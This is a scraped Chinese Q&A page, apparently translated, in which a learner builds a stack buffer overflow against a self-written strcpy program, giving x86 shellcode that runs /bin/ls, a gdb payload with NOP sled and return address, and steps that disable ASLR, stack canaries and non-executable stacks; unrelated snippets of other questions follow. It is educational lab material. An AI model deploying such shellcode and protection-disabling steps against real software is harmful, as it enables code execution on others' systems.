作业 - 无法利用缓冲区溢出

2023-12-01

我正在尝试学习在 Backtrack Linux 上利用简单的缓冲流技术。

这是我的 C 程序

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[500];
    if(argc==2)
    {

    strcpy(buffer, argv[1]);  //vulnerable function

    }

    return 0;
}

这是我正在使用的shellcode,它对应于简单的/bin/ls\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89 \xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80

我使用以下命令将此 shellcode 注入 gdb 中

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')

当我逐步执行该应用程序时,它会生成SIG FAULT决赛时ret操作说明。在那时候EIP正确设置为0xffffd30c。该地址是可寻址的并且包含一系列NOP,后面是我的 shell 代码,如有效负载中所示。

我已经禁用了 ASLRsudo echo 0 > /proc/sys/kernel/randomize_va_space

还使用编译了我的二进制文件fno-stack-protector option.

知道 SIGSEGV 的原因是什么吗?


我已经回答了我自己的问题,问题是“可执行堆栈保护”,堆栈内存中无法执行。这可以在 gcc 中禁用,如下所示

gcc -z execstack

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

作业 - 无法利用缓冲区溢出 的相关文章

  • c和java语言中的换行符

    现在行分隔符取决于系统 但在 C 程序中我使用 n 作为行分隔符 无论我在 Windows 还是 Linux 中运行它都可以正常工作 为什么 在java中 我们必须使用 n 因为它与系统相关 那么为什么我们在c中使用 n 作为新行 而不管我
  • 如何使用MemoryCache代替Timer来触发一个方法?

    以下方法通过等待已运行操作的结果来处理并发请求 对数据的请求可能会使用相同 不同的凭据同时出现 对于每组唯一的凭据 最多可以有一个GetCurrentInternal呼叫正在进行中 当准备就绪时 该呼叫的结果将返回给所有排队的服务员 pri
  • 推导指南中的引用和值之间的差异

    考虑类型A template
  • 互斥体实现可以互换(独立于线程实现)

    所有互斥体实现最终都会调用相同的基本系统 硬件调用吗 这意味着它们可以互换吗 具体来说 如果我使用 gnu parallel算法 使用openmp 并且我想让他们称之为线程安全的类我可以使用boost mutex用于锁定 或者我必须编写自己
  • C++中的类查找结构体数组

    我正在尝试创建一个结构数组 它将输入字符串链接到类 如下所示 struct string command CommandPath cPath cPathLookup set an alarm AlarmCommandPath send an
  • 在 C# 中循环遍历文件文件夹的最简单方法是什么?

    我尝试编写一个程序 使用包含相关文件路径的配置文件来导航本地文件系统 我的问题是 在 C 中执行文件 I O 这将是从桌面应用程序到服务器并返回 和文件系统导航时使用的最佳实践是什么 我知道如何谷歌 并且找到了几种解决方案 但我想知道各种功
  • 用于检查项目文件中的项目变量和引用路径的 api

    我正在研究一个 net application VS2010 与 x 没有 解和变量号这些解决方案中的项目数量 我需要检查项目属性 特定于一定数量的项目 是否同质 并且检查 验证构建期间的参考路径 有没有一个API是这样的吗 如果没有 我该
  • ASP.NET:获取自 1970 年 1 月 1 日以来的毫秒数

    我有一个 ASP NET VB NET 日期 我试图获取自 1970 年 1 月 1 日以来的毫秒数 我尝试在 MSDN 中寻找方法 但找不到任何东西 有谁知道如何做到这一点 从 NET 4 6 开始 该方法ToUnixTimeMillis
  • 将 Excel 导入到 Datagridview

    我使用此代码打开 Excel 文件并将其保存在 DataGridView 中 string name Items string constr Provider Microsoft Jet OLEDB 4 0 Data Source Dial
  • 批量更新 SQL Server C#

    我有一个 270k 行的数据库 带有主键mid和一个名为value 我有一个包含中值和值的文本文件 现在我想更新表格 以便将每个值分配给正确的中间值 我当前的方法是从 C 读取文本文件 并为我读取的每一行更新表中的一行 必须有更快的方法来做
  • Visual Studio 中的测试单独成功,但一组失败

    当我在 Visual Studio 中单独运行测试时 它们都顺利通过 然而 当我同时运行所有这些时 有些通过 有些失败 我尝试在每个测试方法之间暂停 1 秒 但没有成功 有任何想法吗 在此先感谢您的帮助 你们可能有一些共享数据 检查正在使用
  • 如何在 Blackberry Cascades 中显示具有特定号码的电话板

    我正在使用带有 C QT 和 QML 的 Blackberry Cascades 10 Beta 3 SDK 以及 Blackberry 10 Dev Alpha Simulator 和 QNX Momentics IDE 并且我正在尝试实
  • 如何使用 Mongodb C# 驱动程序连接多个集合

    我需要将 3 个集合与多个集合合并在一起 lookup我在 C 驱动程序中尝试过 它允许我 lookup用户采集但无法执行秒 lookup用于设置集合 有人可以帮忙吗 db Transactions aggregate lookup fro
  • std::async 与重载函数

    可能的重复 std bind 重载解析 https stackoverflow com questions 4159487 stdbind overload resolution 考虑以下 C 示例 class A public int f
  • HttpWebRequest 在第二次调用时超时

    为什么以下代码在第二次 及后续 运行时超时 代码挂在 using Stream objStream request GetResponse GetResponseStream 然后引发 WebException 表示请求已超时 我已经尝试过
  • 如何从main方法调用业务对象类?

    我已将代码分为业务对象 访问层 如下所示 void Main Business object public class ExpenseBO public void MakeExpense ExpensePayload payload var
  • 如何在 C# 中调整图像大小同时保持高质量?

    我从这里找到了一篇关于图像处理的文章 http www switchonthecode com tutorials csharp tutorial image editing saving cropping and resizing htt
  • 编译时“strlen()”有效吗?

    有时需要将字符串的长度与常量进行比较 例如 if line length gt 2 Do something 但我试图避免在代码中使用 魔法 常量 通常我使用这样的代码 if line length gt strlen Do somethi
  • 使用 GROUP 和 SUM 的 LINQ 查询

    请帮助我了解如何使用带有 GROUP 和 SUM 的 LINQ 进行查询 Query the database IEnumerable
  • 检查Windows控制台中是否按下了键[重复]

    这个问题在这里已经有答案了 可能的重复 C 控制台键盘事件 https stackoverflow com questions 2067893 c console keyboard events 我希望 Windows 控制台程序在按下某个

随机推荐

  • 从 Chrome 扩展程序连接到数据库?

    我正在构建一个 Chrome 扩展程序 该扩展程序仅适用于我工作的公司内的人员 该扩展需要输入 可以通过对共享 MySQL 数据库服务器 所有员工都可以以只读权限访问 的简单查询来生成输入 问题是 由于扩展都是客户端 主要是 Javascr
  • 检查是否安装了 MS Access 的 OleDb 12.0 驱动程序

    我有一个 C 应用程序 它使用 OleDb 12 0 驱动程序连接到 MS Access 数据库 如果未安装 OleDb 12 0 驱动程序 应用程序将引发没有相关解释的异常 public static class Program priv
  • 使用 Node.js 从网页中抓取 URL

    我正在尝试从网站上抓取所有 URL 并将它们放入一个数组中 我有一个关于数组索引的问题 如果我将像 2 这样的索引号添加到 array 2 中 命令行会回复 未定义 如果我删除索引并打印整个数组 它会逐行打印所有 URL 我希望每个 URL
  • 调用跨线程事件的最简洁方法

    我发现 NET 事件模型是这样的 我经常在一个线程上引发一个事件并在另一个线程上侦听它 我想知道将事件从后台线程编组到 UI 线程的最简洁方法是什么 根据社区的建议 我使用了这个 earlier in the code mCoolObjec
  • 使用 WPF 应用程序的条码扫描仪

    我有一个条形码扫描仪 蓝牙 连接到我的计算机 用于扫描一些条形码 扫描仪的工作方式与键盘完全相同 并返回扫描到的任何内容 在我的 WPF 应用程序中 我有一些文本框供用户手动输入产品编号 修订号 箱号和批号 我希望用户能够扫描 QR Bar
  • 如何在开发 LAMP 服务器上运行多个版本的 PHP 5.x?

    我需要使用多个版本的 PHP 5 x 测试我的 PHP 应用程序 例如 PHP 5 0 0 和 PHP 5 2 8 有没有一种方法可以配置开发 LAMP 服务器 以便我可以使用多个版本的 PHP5 快速测试应用程序 在 CentOS 中 您
  • 删除 robots.txt 后是否会产生后果?

    我发布了一个网站 由于不依赖于我的误解 我不得不在索引之前阻止所有页面 其中一些页面已经链接到社交网络上 因此为了避免不良的用户体验 我决定将以下代码插入到 robots txt 中 User agent Disallow 我收到了关于网站
  • iTextSharp PDF 使用 C# 读取突出显示的文本(突出显示注释)

    我正在开发一个 C winform 应用程序 将 pdf 内容转换为文本 除 pdf 突出显示文本中的内容外 所有必需的内容均被提取 请帮助获取工作示例以提取 pdf 中突出显示的文本 我在项目中使用 iTextSharp dll 假设您正
  • .htaccess URL 屏蔽而不是重定向 [关闭]

    Closed 这个问题是无关 目前不接受答案 我试图掩盖 URL 就像真实的 URL 一样www somedomain com subfolder index php p page3表明www somedomain com subfolde
  • 有什么方法可以解码字符串吗? [复制]

    这个问题在这里已经有答案了 可能的重复 如何解码字符串 Java 如何像 HttpUtility HtmlDecode 一样解码 Java 中的 HTML 字符实体 Hi 我有像例如这样的字符串 s 需要像这样转换 s 请帮我这里 提前致谢
  • Laravel 4:一个模型可以服务多个数据库表吗?

    在我的应用程序中 我有几个 mysql 表 多伦多 温哥华 蒙特利尔等 并且我使用 DB 类来处理它们 例如 data DB select select from toronto where id array id 我想做的是开始使用 El
  • 将 CSS 过渡/动画减慢为“慢动作”

    On a Mac if you hold the Shift key and perform an action that involves animation it will slow down the animation For exa
  • 全局命名空间会被污染是什么意思?

    全局命名空间会被污染是什么意思 我真的不明白全局命名空间被污染意味着什么 关于垃圾收集的快速说明 当变量失去作用域时 它们将有资格进行垃圾回收 如果它们的作用域是全局的 那么在全局命名空间失去作用域之前 它们将不符合收集条件 这是一个例子
  • GitHub 推/拉错误

    我对 GitHub 有点陌生 我刚刚创建了我的帐户并进行了设置等 我非常仔细地按照以下步骤操作http help github com create a repo 但是当我执行最后一个命令 git push u origin master
  • 如何在Firestore中保存时间戳?

    我正在开发一个聊天应用程序 我想存储我的消息的时间戳 我的消息数据类是 import com google firebase firestore ServerTimestamp import java util Date public cl
  • Python 中的链式比较数字范围

    我有以下功能 def InRange number return 5 lt number gt 1 如果使用链式比较该数字不在 1 到 5 的范围内 我希望此值为 false 但似乎无法正确执行此操作 有什么建议么 你想要这样的 def I
  • 如何将文件从 JavaScript 传递到 PHP? [复制]

    这个问题在这里已经有答案了 是否可以将文件从 JavaScript 传递到 PHP 最好使用ajax 如果我们有以下代码
  • 无法登录 mssql-server-linux 容器中的 SQL Server

    我不情愿地执行尝试在 docker 容器中使用 Microsoft SQL Server 的耗费灵魂的任务 并且正在使用 Microsoft 提供的 mssql server linux 盒子 但无论我做什么我都无法登录 这是我的 dock
  • 可安装的触发器以不同的形式触发脚本?

    当提交不同的表单 B 时 我尝试运行连接到一个表单 A 的脚本 我有一系列相似的不同形式 需要运行相同的脚本 因此我不知道这是否可能 而不是将代码复制到每个脚本 我成功地在 A 中制作了一个可安装的触发器函数 指向 B 当出现提示时 我已授
  • 作业 - 无法利用缓冲区溢出

    我正在尝试学习在 Backtrack Linux 上利用简单的缓冲流技术 这是我的 C 程序 include